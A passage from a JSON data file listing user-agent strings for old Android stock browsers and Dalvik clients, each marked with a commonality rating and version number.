Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P3110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; he-il; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; DROID RAZR Build\\/9.8.2O-72_VZW-16) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; Sprint APA9292KT Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SGH-T679 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5360 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; ZTE N9120 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SPH-M820-BST Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SM-T110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-LG730 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; he-il; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Next8P12 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SPH-L900 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; ZTE_N9511 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SAMSUNG-SM-T217A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; mk808 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; Nexus 5 Build\\/KTU84P) AppleWebkit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SM-T217S Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; Z730 Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; LG-VM696 Build\\/ZV5.GWK74) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I747M Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-i705 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; HTC-A9192\\/1.0 Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-R820 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L900 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; H866C Build\\/HuaweiH866C) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SGH-S959G Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-us; SM-S820L Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T889 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-gb; GT-P1000 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build\\/ICL53F) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-S720C Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; pcdadr6350 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; LG-VS410PP Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8190N Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; X501_USA_Cricket Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T310 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-R530U Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 USCC-R530U\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; LG-MS695 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; SCH-I500 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-P7510 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-us; SM-G360P Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999L Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T989 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Z796C Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; N860 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; he-us; GT-I9060 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; HP 7 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build\\/FRF91) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0.1; en-us; Droid Build\\/ESD56) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-I747M Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-I9300 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; AT100 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux;u;Android 2.3.7;zh-cn;) AppleWebKit\\/533.1 (KHTML,like Gecko) Version\\/4.0 Mobile Safari\\/533.1 (compatible; +http:\\/\\/www.baidu.com\\/search\\/spi_der.html)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; DROID X2 Build\\/4.5.1A-DTN-200-18) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I605 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; RCT6378W2 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; Nexus S Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5830M Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LGL45C Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I8160 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; A200 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; HTC-A9192\\/1.0 Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; GT-N5110 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; SM-T210R Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-gb; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; SAMSUNG-SGH-I997 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Lenovo-A390t_TD\\/S100 Release\\/11.2012 Mozilla\\/5.0 (Linux; U; Android 4.0.3) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC6435LVW 4G Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-ca; GT-P5113 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LGMS659 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S6102B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4; en-us; Nexus 4 Build\\/JOP24G) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; LS670 Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I547 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R760X Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; ADR8995 4G Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-au; GT-P5110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N8010 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; KFOT Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; VS840 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; BNTV600 Build\\/IMM76L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2; en-us; sdk Build\\/MR1) AppleWebKit\\/535.19 (KHTML, like Gecko) Version\\/4.2 Safari\\/535.19\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T989 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I200 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; Huawei-U8665 Build\\/HuaweiU8665B037) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; LG-MS770 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R740C Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; LG-E980 Build\\/KOT49I.E98020h)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-LS970 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; C5155 Build\\/IML77) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SGH-T999 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-LS720 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530M Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0PCV220\\/1.11.506.8 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SM-T310 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; N861 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Transformer TF101 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HTC_C525c Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2;  zh-cn; itel it1407; Android\\/4.4.2; Release\\/11.19.2015)  AppleWebKit\\/534.30 (KHTML, like Gecko) Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; fr-fr; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L710 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SPH-M930BST Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SGH-T769 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; ZTE-Z740G Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.1.2; GT-N8010 Build\\/JZO54K)\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; MB855 Build\\/4.5.1A-1_SUN-254_13) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; ONE_TOUCH_960C Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile 